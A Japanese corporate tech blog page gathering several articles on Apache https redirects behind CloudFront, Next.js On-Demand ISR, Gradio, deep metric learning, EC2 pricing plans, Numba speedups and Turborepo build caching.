TECH PLAY

株式会社マイナビ デジタルテクノロジー戦略本部

株式会社マイナビ デジタルテクノロジー戦略本部 の技術ブログ

227

やりたいこと タイトルの通り。 ApacheはDirectorySlashディレクティブにより、リクエストURLがディレクトリとなっていてスラッシュが無い場合はスラッシュを加えてリダイレクトする。 DirectorySlashディレクティブはデフォルトでオンになっている。 (参考) httpでアクセスがあった場合はhttpでリダイレクトする挙動となるため、以下の課題が発生する。 課題 以下の構成でApacheへアクセスする。 前提 Cloudfrontへのhttpアクセスはhttpsリダイレクト Cloudfront及びALBまではhttps EC2まではhttp トレイリングスラッシュ付きの場合は以下のようになる。 社内PCからCloudfront https://xxx.mynavi.jp/test/ CloudfrontからALB https://xxx.mynavi.jp/test/ ALBからEC2 http://xxx.mynavi.jp/test/ トレイリングスラッシュが無い場合は以下のようになる。 社内PCからCloudfront https://xxx.mynavi.jp/test CloudfrontからALB https://xxx.mynavi.jp/test ALBからEC2 http://xxx.mynavi.jp/test EC2でリダイレクト(スラッシュ付与) http://xxx.mynavi.jp/test/ Cloudfrontでhttpsリダイレクト https://xxx.mynavi.jp/test/ CloudfrontからALB https://xxx.mynavi.jp/test/ ALBからEC2 http://xxx.mynavi.jp/test/ このようにhttpsでアクセスしたものが、DirectorySlashによりhttpにリダイレクトされてしまう。 ◆ブラウザでアクセスした結果 ◆アクセスした際のApacheアクセスログ [31/May/2022:20:04:06 +0900] "GET /test HTTP/1.1" 301 260 "-" "Amazon CloudFront"[31/May/2022:20:04:06 +0900] "GET /test/ HTTP/1.1" 200 52 "-" "Amazon CloudFront" これを解消するために、Apache側でスラッシュを付与して更にhttpsでリダイレクトする設定を行う。 設定 Apacheのconfファイルに以下を追記する。 RewriteCond %{LA-U:REQUEST_FILENAME} -dRewriteRule ^/(.*[^/])$ https://%{HTTP_HOST}/$1/ [R=301,L,QSA] この設定はDirectorySlashより優先される。 Apacheを再起動して再度確認。 ◆ブラウザでアクセスした結果 ◆アクセスした際のApacheアクセスログ [31/May/2022:20:22:27 +0900] "GET /test HTTP/1.1" 301 261 "-" "Amazon CloudFront"[31/May/2022:20:22:27 +0900] "GET /test/ HTTP/1.1" 200 52 "-" "Amazon CloudFront" 社内PCからCloudfront https://xxx.mynavi.jp/test CloudfrontからALB https://xxx.mynavi.jp/test ALBからEC2 http://xxx.mynavi.jp/test EC2でhttpsリダイレクト(スラッシュ付与) https://xxx.mynavi.jp/test/ CloudfrontからALB https://xxx.mynavi.jp/test/ ALBからEC2 http://xxx.mynavi.jp/test/ おまけ ApacheのRewriteCondではフロントがhttpsの時という条件を書くことができる。 例えば、Cloudfront,ALBがhtttpsで受けているかの判定は以下のように記載する。 ※ALBは自動で付与されるが、Cloudfrontはビヘイビアでヘッダーの設定をする必要がある。 # CloudfrontRewriteCond %{HTTP:CloudFront-Forwarded-Proto} =https# ALBRewriteCond %{HTTP:X-Forwarded-Proto} =httpsRewriteCond %{LA-U:REQUEST_FILENAME} -dRewriteRule ^/(.*[^/])$ https://%{HTTP_HOST}/$1/ [R=301,L,QSA] ・RewriteCondに関するオンプレからAWS移行時の注意点 オンプレ環境でLB(https)→サーバ(http)としており、LBで付与したヘッダーをRewriteCondで使用している場合、上で記載したようにAWS(Coudfront,ALB)が付与するヘッダーとは異なる可能性がある。
アバター
Next.js 12.1よりBetaとなったOn-Demand ISRが、6/29にリリースされたNext.js 12.2より安定版となりました! これでようやく外向けの環境で動作するサービスに使用できるようになったので、今回はこのOn-Demand ISRについて紹介しようと思います。 そもそもOn-Demand ISRとは On-Demand ISRを説明するには、まずSSGとISRについて説明する必要があります。 SSGとは SSGとは、Static Site Generationの略で、その名の通り静的サイトを生成する機能のことを指します。 旧来のRailsやLaravelのようなMPA、あるいはRemixのようなSSRフレームワークは、アクセスが発生した段階でサーバーサイドでサイトをレンダリングしますが、SSGはアクセスよりもはるか前、デプロイ前のビルド時 (記述したコードを実際の環境で動作するよう変換する段階) に返却するファイルを生成します。 これにより、SSGされているページではレンダリングの必要がないため、MPAなサイトやSSRのページと比較して高速な描画が期待できます。 欠点として、最新の情報を記載することを苦手としています。 記述内容が変わることのないページや、コードとともに掲載内容を管理している記事ページなどでは有効ですが、チケット販売や天気情報などのリアルタイム性が必要なもの、Headless CMSを用いて記事を管理しているケースでは使用することができません。 これを改善するための機能が、ISRです。 ISRとは ISRとは、 Incremental Static Regenerationの略称で、SSGしたページを任意の秒数で再生成する機能です。 これを用いることで、天気情報サイトなどの変更頻度が低いものやHeadlessCMSを用いた記事などで気軽にSSGすることが可能になりました。 これは非常に便利なのですが、秒数による制御ではどうしても解決しづらい問題もありました。 記事をHeadlessCMS管理している情報掲載サイトを例として考えてみましょう。 記事には誤字脱字がつきものです。何人で確認しても、いかなツールを使おうとも、どうしても記事に誤字脱字が残ってしまうケースがあります。 そんな時、場合によっては早急に修正することが必要です。 その際、SSGを生かすために長い秒数を設定していると、修正したい内容を早期に反映するには再度デプロイする必要があります。アプリケーション上でいかな操作をしようと、基本的にはどうしようもありません。 これを解消するにはISRの秒数を短くすればよいですが、それではSSGの効果が薄くなります。 こういった状態に公式の機能で対応できるようになったのが、On-Demand ISRです。 On-Demand ISR On-Demand ISRは、本当に任意のタイミングで再生成を行う機能です。 例えば、ISRの項目で挙げたような記事修正問題が生じた際に、こちらから再生成を指示できます。 この機能を使用する際、ISRの際に必須であった再生成のための秒数指定は必須ではないので、不要な再生成機会の抑制、ひいてはサーバーの負担軽減も期待できます。 On-Demand ISRを使用する 元のSSGのファイルを編集する必要はありません。 On-Demand ISRは元のファイルに一切手を加えずに実行できます。 例として、今回は http://example.com/isr/[id] に対象となるページが存在するとします。 このページを対象にISRを行いたい場合は、page/api/に任意の名前 (今回は例としてpage/api/[id].tsx) のファイルを作成し、以下のような処理を記載します import { NextApiHandler } from "next";const handler: NextApiHandler = async (req, res) => { const secret = req.query.secret ?? req.body.secret const id = req.query.id if (secret !== process.env.ON_DEMAND_SECRET_TOKEN) { return res.status(401).json({ message: 'Invalid token' }) } if (!id) return res.status(404).json({message: 'Not Found'}) try { await res.revalidate(`/isr/${id}`) return res.json({ revalidated: true }) } catch (err) { return res.status(500).send('Error revalidating') }}export default handler 内容は、 http://example.com/isr/[id] に対してtokenを持たせてPOSTまたはGETを行うと、対象のIDのページを再生成するというものです。 上記のファイルのほとんどはresponseの中身に関するもので、再生成している箇所は以下のみとなっています。 await res.revalidate(`/isr/${id}`) この処理を実行させるだけで、対象のページが再生成されます。 注意点 getStaticPathsにおいてfallbackをfalseにしているとき、もともと存在していなかったURLを対象にしてOn-demand ISRを使用することはできません。 あくまで、ISRを任意のタイミングで実行するだけの機能なので、元々生成対象できない場合は対象外です。 終わりに 任意のタイミングで再生成できるようになったことも嬉しいですが、個人的にはrevalidateで秒数指定せずともISRできるようになったことが嬉しいです。 これは、ISRは確かに便利な機能ではあるのものの、秒数指定はそれほどスマートではない手法であると前々から感じていたためです。 この機能追加により、ヘルプや利用規約などの今まではHeadless CMSで管理していなかったようなテキストも管理するようになるかと思いますので、仕事がだいぶ楽になる人もいるかと思います。 この機能はまだまだ気が付けていない使い方などがありそうなので、色々と試してみるのが楽しみです。
アバター
はじめに まずこれを使った経緯としては、画像認識を使ったアプリケーションを作りたい! でも画像認識って基本的にUIとかないと使いにくいかな〜?? そこで画像認識を使ったアプリのUI部分にデモ作成ライブラリGradioを使ってみよう!ってなりました。 それで部内の勉強会に向けてその内容などをまとめたのでここにも備忘録としてまとめておきます。 これ読んだら何を学べるか Pythonを使ったアプリケーションのデモ作成で簡単にUIを作ることができます。 使ってみた感想 UIが簡単にできて画像認識のアプリ作成が楽しかったです。 画像関連のアプリ以外にも使えそうだなと感じました。 Gradioの説明 そもそもGradioとは何かというとPythonのライブラリです。 ではいったいどういうことができるライブラリなのかというと自分で構築したシステムのデモを簡単に作成することができます。 なかでもフロントサイドの部分(UI)を実装する必要がなく、バックエンドの処理部分でライブラリを利用することで、実際にシステムを簡単に試すことができるアプリを作成することができます。 しかもJupyter NotebookやGoogle Colab上での動作もサポートしているため気軽に試すことができます。 さらに! 作成したアプリを外部に公開することも簡単にできます! ローカルマシンで実行してから72時間は発行されたShare URLが有効です。(実行はローカルマシン上になります。) また永続的に公開したい場合はHugging Face Spacesでの公開がサポートされているためそこで公開することもできます! なるほど「Gradio」を使うことでフロント部分を簡単に作成できてシステムのデモアプリがさくっと作れるんだな。。。 ぐらいの認識で大丈夫です! また、入出力の形式も様々扱うことができるのである程度のシステムには対応できるかと思います! 内部構成 Gradioには、インターフェースやブロックの入力や出力として、1行のコードで使用できるビルド済みのコンポーネントが含まれています。コンポーネントには、ブラウザから送信されたユーザデータをPython関数で使用できるものに変換する前処理ステップと、Pythonの関数から返された値をブラウザで表示できるものに変換する後処理ステップを含みます。 以下は3入力(テキストボックス、数値、画像)と2出力(数値、ギャラリー)の例です。 引用元: https://gradio.app/docs/#components-header 作ったアプリ それではここからは私が作成したデモアプリについて紹介させていただきます。 作成したアプリは大きく2つ! 簡単に2つのアプリについて紹介しようと思います。(ここでは内部の処理については深く触れません。) 簡単な処理をするアプリ(お試し) 1つ目はGradioを使ってみるために簡単に作成したお試しアプリです。 入出力はどちらもテキスト形式で、入力されたテキストに対して加工を加えてリターンするという処理になります。 # main.pyimport gradio as grdef response_greet(name: int): res = "Hi" + name + "!" # インスタンスを生成(入力を渡す関数と入出力の形式を指定)app = gr.Interface(fn=response_greet, inputs="text", outputs="text")# appのローンチapp.launch() 実行結果(例:入力「マイナビ」、出力「Hiマイナビ!」) このように簡単に返答アプリを作成することができました! ランドマークを予測するアプリ(画像認識) 2つ目は機械学習を使ったアプリです! 入力は画像で、入力された画像から世界中にある似ているランドマークの名前を返してくれるものになります。 今回はあくまでもGradioの紹介なので画像認識部分のコードは割愛いたします。 # classify_image.pyimport gradio as gr# 入力画像から類似するランドマーク名を返す処理def classify_image(image): hogehoge fugafuga return labelapp = gr.Interface(classiry_image, image, label)app.launch() 実行結果(例:入力「東京スカイツリーの画像」、出力「Tokyo Skytree(東京スカイツリー)」) 画像のリンク元: https://www.photock.jp/detail/tour/5555/ 画像データも簡単に実装することができました! まとめ 今回はデモ作成ライブラリGradioを使ってみました。 入出力の形式の組み合わせが何通りも設定できるので、機械学習に寄らずいろいろなシステムのデモで使えそうだと思いました! コードもかなり少ないのでぜひ使ってみてください!
アバター
はじめに 今回はその性能と汎用性の高さから、様々な分野で応用が進んでいるDeep Metric Learning理論について紹介していきたいと思います。 ※loss function以降数学の内容がかなり多いので理解しにくいかもしれません。 Metric Learningとは?の理解をしたい方はLoss functionまで読んでいただけると何となくMetric Learningについて理解できると思います。 目的 Metric Learningの知識をみにつけたい 今後様々なタスクに応用できそうな技術なので、その知識を蓄えたい Metric Learnintとは そもそも機械学習における距離とは 距離(きょり、distance)とは、ある2点間に対して測定した長さの量(Wikipedia参照)です。 日常的な使い方としては、二つ場所間の距離を測る際にキロメートルを利用します。 新宿→竹橋の距離は 11.4km より抽象的な距離: GeForce RTX 2060 superと GeForce RTX 3060の価格差約 1万円 程度 (一応価格も距離であると認識すると後の記事を理解しやすいと思います。) 個人的には「何かを測る際の単位」が距離である、という感じで理解しています。 機械学習にもデータ間の距離をどうやって測定するかという問題はよくあります。 一般的に測定可能なデータの場合、ユークリッド距離(ED)、正弦波、およびその他の方法で直接行うことができます。 しかし、ビデオと音楽の間の距離を測定や、センテンス間の距離を測定するなど、より幅広いなデータに対しては上記の手法で距離を測ることは困難です。 例:顔の類似度(簡単)、履歴書の類似度(難しい)など metric learningとは metric learningの正式名称はDistance metric learningです。 つまり機械学習の形式でトレーニングデータに従って、特定のタスクに基づいて計量関数を自動的に構築することです。 定番のクラス分類と距離学習によるクラス分類の違いは、特徴量抽出部分を学習させる手法にあります。 metric learningは元データの変換や特徴を学習して、変換されたデータが特定のタスクに特定の類似性の尺度を満たすことができるようにします。ここでの尺度は、cosine similarity,overlap similarity,jaccard similarityなど、もしくは複雑な文章間の類似度や感情の類似性など測る尺度です。 Metric Learningのタイプ メトリック学習は主に下記の二つタイプ分けられています 教師あり学習 (Supervised Learning) 同じラベルデータの距離を近づけ、異なるラベルデータの距離を遠ざけることができる距離を学習することです。center loss、amsoftmaxなどをよく使っています。 center lossでは各クラスにcenter featureを算出します。それによってクラス内の距離が狭くなります。center featureはクラス内の距離のみ関与するため、通常はsoftmaxやcross entropy loss損失と組み合わされ、カテゴリを分離しながら、クラスの距離を短くすることができます。 amsoftmaxはsoftmaxに基づいて改善されていますが、softmaxとは異なります。カテゴリを分離可能にするだけでなく、クラス内の距離を狭め、クラス間の距離を広げることができます。 ※もちろん教師データの処理によってWeakly SuperVised Learningをさせることも可能です。検証はまだしていませんが、個人的は負例のデータを一緒に学習させるとクラス間の距離もっと遠ざけることができると思います。 弱教師あり学習 (Weakly Supervised Learning) こちらの学習データは教師あり学習の手法とは少し異なり、タプル・トライアドのデータペアを学習します。正例のペアと負例のペアを事前に用意して、学習際に正のペアを近づけ、負のペアを遠ざけるによってデータ間のメトリックを学習します。 弱教師あり学習では、contrastive loss(対照損失)とtriplet loss(トリプレット損失)をよく使います。 上記で紹介した各lossは、後に詳しく説明したいと思います。 Deep Metric Learningとは? 実際にDeep Metric Learningでは、レコメンド、NLP、画像処理の分野などの領域よく利用されています。 Deep Metric Learningは、representation learning (参考サイト) のブランチです。 レコメンド領域有名なDSSMネット構造、最後の一層はCosより距離計算しています 従来の機械学習手法では、生データ処理機能によって制限されています。 したがって、分類またはクラスタリングタスクの前に前処理や特徴抽出ステップなどの特徴エンジニアリングが必要です。 これらのステップには専門知識が必要になります。 一方、深層学習は生データから学習できるという強みを持っています。従来の機械学習手法とは異なり、ディープラーニングはデータ量が少ないと十分に成功しないため、成功する結果を得るには大量のデータが必要です。 個人的理解を一言でまとめると、 ペア特徴持っているデータに対して距離特徴を持っているembeddingを作成できる仕組みです 。 Deep Metric Learningイメージ a)生のデータ分布 b)ユークリッド 距離計算 c)意図的にデータを準備する d) 同じニューラルネットワークで同じラベルのデータ間の距離を最小化学習させ、異なるラベルのデータ間の距離を最大化させ距離を測る 上記の学習結果よりデータ間の距離を再定義します Deep Metric Learning step(pipeline) 深層距離学習pipelineは主に3つで構成されています。 学習データの準備と処理 ニューラルネットワークの設計 損失関数の選択(タスクやデータ構造を考慮しつつ) 同じラベルのデータの距離の最小化や、異なるラベルのデータ間の距離を最大化する仕組みはDeep Metric Leanringの最もコアの部分であり、上記の仕組みでは主に損失関数の設計や選択で実現しています。 入力するサンプルは、Deep Metric Learningの成功を改善するための最も重要な要素の1つであり、サンプルの組み合わせの選択はモデル訓練の成功と収束性に大きな影響を与えます。 loss functionについて いろんな文献や記事を読むとMetric Learningで一番重要なのはLoss functionであると書かれてあります。そのため、今回はLoss functionについて書かれた論文や記事を個人の観点でまとめようと思います。 弱教師あり学習 contrastive loss contrastive lossは2006年に発表された「Dimensionality Reduction by Learning an Invariant Mapping」において、次元削減操作を行うものとして提案されています。この論文中にMetric Learningというワードは登場しませんが、距離を学習させて次元削減を実現します。 contrastive lossの考え方は、 類似したサンプル間の距離と異なるサンプル間の距離を独立して短くすることです。 2つのサンプルiとjが1つのラベルの場合、y_ij=1。この時点で、Lossはこの二つサンプルの距離である iとjが異なるラベルの場合、y_ij = 0 その時点のlossは、 d > αになるよう学習させます。 contractive loss全体像 triple loss 2015年に発行された「FaceNet: A Unified Embedding for Face Recognition and Clustering」で、顔の分類タスクにTriple lossを使用することが提案されています。 Triplet lossでは3組の入力データのpositiveペアとnegativeペアの相対距離を算出し、それにマージンをかけます。つまり、Contrastive lossではnegativeペアをマージンmの距離よりも離れるように学習させることですが、Triplet lossではnegativeサンプルとの距離をpositiveサンプルとの距離よりもマージンmの距離以上に遠くなるよう学習させることです。同時に、intra-classのサンプルを引き寄せてinter-classのサンプルを離れようとすることができます。現在でも広く使われている距離学習手法のようです。 a: anchor p: Positive n: Negative D_ap: anchor とPositiveの距離 α : Margin Triple Lossの要素 教師あり学習 center loss center Lossは2016年に「A Discriminative Feature Learning Approach for Deep Face Recognition」より提案されたものです。 Metric Learningは、単純にsoftmaxやcross entropy lossを利用することに制限があります。この二つ方法によりカテゴリを分離が可能ですが、同じ クラス内の距離を狭めることはできません 。 Metric Learningにおいて、クラスを分離できるだけでなく、クラス間を区別することも学習する必要があります。 そこでcenter Lossが提出されました。center lossは、センタークラスタリングとsoftMaxクラス間損失のコアアイデアを利用し、センタークラスタリングの クラス内 制約とsoftMaxの クラス間 制約を実行します。訓練時にはsoftmax lossに加算した損失関数(Ltotal)を使われています、同様の特徴もつデータがクラスの中心点の周りにクラスター化して、クラス間距離を拡大し、クラス内距離を短縮し、より識別力のある深い特徴を学習します。 対応する損失関数は cyiはデータの正解クラスの中心位置です。各クラスの中心位置はmini-batchごとで更新されます ▼softmax cross entropy lossから得られた特徴量の可視化 AMSoftmax こちらについては私も全は部理解できていません。。。 AMSoftmaxはSoftmaxより展開されたものですが、Metric Learningに特化したようなものでした。 論文 ではAMSoftmaxはクラス間の距離を広げ、クラス内のデータ距離を狭めることが可能になり、クラス間の距離をTarget regionに狭めさせています。 まとめ 今回はMetric Learning理論について、重要な部分と自分の感想をまとめました。 深層距離学習は、識別性の高い(discriminative)特徴量を得るためにディープニューラルネットワークを学習させる手法です。得られたモデルは 特徴量抽出器 として利用します。 学習手法はデータの形によって、教師あり学習と弱教師あり学習の二つに大きく分けられています。 損失関数の設計の他に、サンプル選択の設計も大事です。 画像やNLPなどいろんな領域に適応することが可能です。 なぜわざわざそういう難しい技術を学ぶのかというと、 距離を測るという技術がマイナビにとって重要であると思うからです。 この技術は文書間の類似度を測るだけでなく、他の文字データの距離も測られます。 つまり、この技術により我々が扱っているデータのレコメンドやマッチングに何か新しい観点で処理可能の技術になるかもしれないということです。 Metric Learningは近年大きな成果がありませんが、現在の結果から見ると 距離を学習させる という概念がいくつかの領域で利用ができると思います。 近いうちに何かデータを利用して実践してみようと思います!!! 参考記事 深層距離学習(Deep Metric Learning)の基礎から紹介 Sampling Matters in Deep Embedding Learning FaceNet: A Unified Embedding for Face Recognition and Clustering MLAS: Metric Learning on Attributed Sequences A Discriminative Feature Learning Approach for Deep Face Recognition FaceNet: A Unified Embedding for Face Recognition and Clustering 人脸识别系列(十六):AMSoftmax Deep Metric Learning: a (Long) Survey Deep Metric Learning: A Survey A Discriminative Feature Learning Approachfor Deep Face Recognition 从Softmax到AMSoftmax(附可视化代码和实现代码) 顔認証におけるいろいろな損失関数(Loss function)
アバター
はじめに 通常、EC2の料金形態はオンデマンド料金です。 長期契約無しで、時間または秒単位の従量課金制での支払いとなります。 EC2の料金形態は1種類だけなのか、というとそういうわけではありません。 オンデマンド料金に比べてEC2の利用料金を抑えられる Amazon EC2 リザーブドインスタンス(RI) Savings Plans(SP) という2つのサービスがあります。 これらはある条件下のもとで一定期間の契約をするとEC2の利用料金のディスカウントを受けられるサービスです。 「RIかSPの導入を検討したいがよくわからないなあ。(詳しいことは置いておいて)簡単に言うとどういう違いがあるの?」と現状思ってしまっている自分向けに、今回はRIとSPを比較するうえで必要そうな情報をまとめてみました。 Amazon EC2 リザーブドインスタンス(RI) RIとは 「一定期間の使用」を前提とすることで大幅にコスト削減が出来るサービスです。 1年もしくは3年の期間でキャパシティ予約が可能です。 ※キャパシティ予約:任意のインスタンスタイプのEC2インスタンスを予約期間中は予約分いつでも起動が可能 非常に簡単にいうと、「1年間/3年間はこのインスタンスタイプのこのEC2を使い続けます。」と先に宣言することでお安くしてもらうサービスという理解でひとまずはよさそうです。 その際、さまざまな制約や条件によって割引率が変わるのでまたもや簡単にまとめてみます。 EC2の利用料金に関わるRIには2つのプランがあります。 スタンダードRI オンデマンド料金からの平均割引率が1年 (40%)、3年 (60%)と割引率の高いタイプになります。 AZ、インスタンスサイズ、ネットワークタイプの変更が可能です。 ただし、インスタンスファミリーの変更ができません。また、支払いオプションの変更も不可能です。 ※補足 インスタンスサイズの変更が可能というのは、キャパシティ予約した複数のRIを結合させたり分割させる事でインスタンスサイズの変更が可能です。 割引率が高いが制約が多いイメージです。 コンバーチブルRI オンデマンド料金からの平均割引率は1年 (31%)、3年 (54%)となり、スタンダードRIと比べると割引率は低いタイプになります。 スタンダードRIと同じく、AZ、インスタンスサイズ、ネットワークタイプの変更が可能です。 加えて、インスタンスファミリーの変更も可能です。(ただしRI作成時の価格より同等以上のもののみ変更が可能であり、差額を支払う必要があります。) また、制限ありで支払オプションの変更が可能です。 スタンダードに比べると割引率は低いが柔軟性が高いイメージです。 支払オプション 支払いパターンは以下から選ぶことができます。 全額前払い 一部前払い 前払い無し 割引率は全額前払い>一部前払い>前払い無しとなります。 注意点・確認点 サーバ休止期間が長くとも費用は変わりません。 キャパシティ予約であり、一定期間継続してサーバの利用をするという前提での料金体系のためです。 サーバ停止せず動き続けるサービスでしたらRIの条件にあうかと思われます。 サーバ夜間停止などをするサービスの場合は、試算を行いオンデマンド料金との比較を行なったうえで検討する必要があるかと思います。 インスタンスのスペックなどがアゲサゲしにくいのでAWSの特性を活かしにくいです。 開発環境などのサーバ要件を変更させる可能性がある環境ではRIは適していない可能性があります。 Savings Plans(SP) SPとは 「一定期間、一定量の使用」を前提とすることで大幅にコスト削減が出来るサービスです。 SPでは1年もしくは3年の期間で特定量(USD/時間)を契約することが可能です。 非常に簡単にいうと「一定期間、1時間に何ドル分AWSを使います」と宣言して契約することで、その額までは割引が効いた利用料にしてくれるサービスという理解でひとまず良さそうです。 EC2の利用料金に関わるSPには2つのプランがあるので、またもや簡単にまとめていきます。 Compute Savings Plans オンデマンド料金からの平均割引率が1年 (約30%)、3年 (約50%)と割引率の高いプランになります。 インスタンスファミリー、サイズ、アベイラビリティーゾーン、リージョン、OS、またはテナンシーに関わらず EC2 インスタンスの使用に自動で適用がされます。 EC2だけでなく、Fargate や Lambdaにも適応が可能です。 比較的自由度高く、インスタンスを低価格で利用出来るプランとなっているイメージです。 EC2 Instance Savings Plans オンデマンド料金からの平均割引率が1年 (約40%)、3年 (約60%)となり、Compute Savings Plansと比べると割引率の高いプランになります。 リージョン内で個々のインスタンスファミリーでの契約となり、任意のリージョン内での任意のインスタンスファミリーは自動的にディスカウントが適応されます。 この際、アベイラビリティーゾーン、サイズ、OS、またはテナンシーは自由です。 リージョンとインスタンスファミリーに制約はあるが、Compute Savings Plansより更に割引率高く利用できるプラン となっているイメージです。 支払オプション 支払いパターンは以下から選ぶことができます。 全額前払い 一部前払い 前払い無し 割引率は全額前払い>一部前払い>前払い無しとなります。 注意点・確認点 契約時、自身で適切な特定量(USD/時間)を計算する必要があります。 契約した特定量(USD/時間)を超過した場合、超過分はオンデマンド料金にて発生します。 SP運用中は特定量の変更が出来ないため、適切な金額にて契約する必要がありそうです。 特定量(USD/時間)での契約のため、ディスカウント対象となるリソースの柔軟性は高いです。 さいごに RIにもSPにも制約があります。 条件と割引率を天秤にかけながらの検討が必要そうです。 おまけ RI、SPは1年/3年と契約期間が長く、気づいたら有効期限切れとなってしまっている場合がありそうだなと思ったのですが、どうやらアラートの利用が可能のようです。 60 日前、30 日前、7 日前、当日にアラートを受け取れる設定ができるとのことなので活用していきたいと思います。 参考 https://aws.amazon.com/jp/ec2/pricing/reserved-instances/ https://aws.amazon.com/jp/savingsplans/ https://aws.amazon.com/jp/about-aws/whats-new/2019/05/reservation-expiration-alerts-now-available-in-aws-cost-explorer/ おまけ2 当社のキャリアアドバイザーが「WEB事業会社に興味はあるけど、何から始めるべきかわからない」「転職は考えていないけど、今の環境が今後に活きるのかわからない」など、今後のために情報収集したい、という方に少しでも参考になる情報をまとめています。良ければご覧ください! ###card_post_id=2375###
アバター
前書きは前提内容になりますので、読み飛ばしてもらって結構です。 前書き IEEE Spectrumによると、Pythonは過去6年間、プログラミング言語のトップであり続けています。 Pythonは機械学習アプリケーションの構築にも使用されている言語です。 システム職の方はご存知かと思いますが、Pythonはインタプリタ言語です。そのため開発のスピードは上がります。 しかし実行時には毎回コンパイルと各ステートメントの実行が必要なため、実行速度は他の言語との中で比較的遅くなります。これがスケーリング時に問題になることもあります。 このことから、「高速化するためにはほかのコンパイラ型言語のようにPythonのコードを一度コンパイルするか、少なくともその一部をコンパイルすればよいのではないか?」という疑問がわいてきます。 そこで今回はNumbaを使ってPythonの高速化を図りたいと思います。 Numbaとは Numbaは、PythonとNumpyのコードを一部高速な機械語に変化するオープンソースのJIT(Just In Time)コンパイラです。Numpyの配列や関数と一緒に使うことを想定して設計されています。 配列指向で数学的に重いPythonのコードを最適化してくれます。 本記事の目的 PythonでNumbaを使ってCos類似度計算の高速化を図る! 想定読者 日常的にPythonを使用している人 高速化ライブラリNumbaを使用したことがない人 Cos類似度を比較的よく使用する人 Cos類似度の速度を少しでも速めたい人( 重要 ) Cos類似度の説明(ご存知の人は飛ばしてください) Cos類似度とは2つのベクトルが「どのくらい似ているか」という類似性を表す尺度で、具体的には(ベクトル空間における)2つのベクトルがなす角のコサイン値のことです。 この値は2つのベクトルの内積(=向きと大きさを持つベクトル同士の掛け算)を2つのベクトルの大きさ(=$ L_2 $ノルム)で割ることで計算されます。 この計算によって値が-1~1の範囲に正規化されるので、Cos類似度が 1なら「0度で、同じ向きのベクトル=完全に似ている」 0なら「90度で、独立・直行した向きのベクトル=似ている・いない、のどちらにも無関係」 -1なら「180度で、反対向きのベクトル=完全に似ていない」 という意味になります。 (Cos類似度計算を既存のライブラリで行なう場合、ライブラリによっては逆になることがある。) 参考サイト:コサイン類似度(Cosine Similarity)とは? - ITmedia 本題 今回はCos類似度計算を高速化したいためPythonのNumbaを使用してどの程度高速化できるのか見てみます。 実験 この実験では、50次元の2つのnumpy配列の間で、Numbaを使用しない場合と使用する場合のコサイン類似度計算を行いました。 まず、 Numbaを使用しない場合 です。 def cosine_similarity(u:np.ndarray, v:np.ndarray): assert(u.shape[0] == v.shape[0]) uv = 0 uu = 0 vv = 0 for i in range(u.shape[0]): uv += u[i]*v[i] uu += u[i]*u[i] vv += v[i]*v[i] cos_theta = 1 if uu!=0 and vv!=0: cos_theta = uv/np.sqrt(uu*vv) return cos_theta 次に Numbaを使用した場合 です。 from numba import jit@jit(nopython=True)def cosine_similarity_numba(u:np.ndarray, v:np.ndarray): assert(u.shape[0] == v.shape[0]) uv = 0 uu = 0 vv = 0 for i in range(u.shape[0]): uv += u[i]*v[i] uu += u[i]*u[i] vv += v[i]*v[i] cos_theta = 1 if uu!=0 and vv!=0: cos_theta = uv/np.sqrt(uu*vv) return cos_theta 両方の関数を複数の計算回数で実行して、実行時間の違いについてまとめてみました。(実行環境によって多少前後します。) 計算回数 Numbaを使用しない場合 Numbaを使用した場合 1 83.6 μs 1.11 μs 100 8.34 ms 70.9 μs 1,000 86.6 ms 706 μs 10,000 830 ms 7.09 ms 100,000 8.08 s 70.2 ms 1,000,000 1min 27s 699 ms 両対数グラフで示すと以下のようになります。 結果 表にもある通りNumbaを使用した場合のほうが明らかに速いことがわかります。 今回はNumbaを使用してCos類似度計算の高速化を図りましたが、Numbaにはほかにもいろいろと機能があります。 今後もNumbaを使ったPythonの高速化記事を掲載できればと思います。
アバター
モノレポとは 複数のアプリケーションを同一のリポジトリで運用する構成のことを、Monorepo (以下モノレポ)と言います。 Turborepo Turborepoはこのモノレポ環境のうち、JavaScript系のモノレポ環境を対象としたビルドツールです。 昨今のJavaScript周りの発展は目覚ましく、フロントサイドとサーバーサイドどちらもJavaScriptなんて構成は珍しくありません。Turborepoもそうした流れで生まれたツールの一つで、JavaScriptのモノレポをよりシンプルに扱えるようにしてくれます。 導入 node.jsがインストールされている環境で、以下のコマンドを実行してください。 npx create-turbo@latest 実行すると、プロジェクト名と使用するパッケージマネージャを聞かれると同時に、次のようなサンプルの環境が作成されます。 ├── README.md├── apps│   ├── docs│   │   ├── README.md│   │   ├── next-env.d.ts│   │   ├── next.config.js│   │   ├── package.json│   │   ├── pages│   │   └── tsconfig.json│   └── web│   ├── README.md│   ├── next-env.d.ts│   ├── next.config.js│   ├── package.json│   ├── pages│   └── tsconfig.json├── package-lock.json├── package.json├── packages│   ├── eslint-config-acme│   │   ├── index.js│   │   └── package.json│   ├── tsconfig│   │   ├── README.md│   │   ├── base.json│   │   ├── nextjs.json│   │   ├── package.json│   │   └── react-library.json│   └── ui│   ├── Button.tsx│   ├── index.tsx│   ├── package.json│   └── tsconfig.json└── turbo.json build cache Turborepoの利便性を語るうえで欠かせないのが、ビルドにキャッシュを効かせることができる点です。 作成された環境には、appとpackageというディレクトリが存在しており、appの中にはアプリ本体と思われるapp/webとそのドキュメントapp/docsが存在しています。 この状態でビルドコマンドとして以下のコマンドを実行すると、turbo.jsonに記載された内容に従い、Turborepoが配下のディレクトリの中でnpm scriptsとしてbuildを持つものに対し、npm run buildコマンドを実施します。 npm run build サンプルの場合、app配下にNext.jsで作られたwebとdocsの2つのWebアプリが存在するため、その2つにビルドが走り、ビルド後に以下のような結果が表示されました。 Tasks: 2 successful, 2 totalCached: 0 cached, 2 total Time: 23.785s 2つのTaskのうち2つともキャッシュされず、約24sで結果が返されたという内容です。 では、この状況で同じコマンドをもう一度実行してみましょう。 すると、結果が以下のように変わります。 Tasks: 2 successful, 2 totalCached: 2 cached, 2 total Time: 16ms >>> FULL TURBO 2つのTaskのうち2つともがキャッシュされ、16msで結果が返されたという内容です。 Turborepoは、コマンド実行時、対象のディレクトリの中に.turbo/を作成し、その中にハッシュを保存、再度同じコマンドが実行された場合にハッシュを比較し、変更がなければ前回の出力内容をそのまま返すことで処理の高速化を行っています。 このサンプルであれば、apps/webとapps/docsの配下に.turbo/を作成する形となります。 これが、Turborepoのビルドキャッシュです。 全体を何度もビルドしなくて済むため、コードが膨大になってもビルド時間の長期化をある程度抑えることができます。 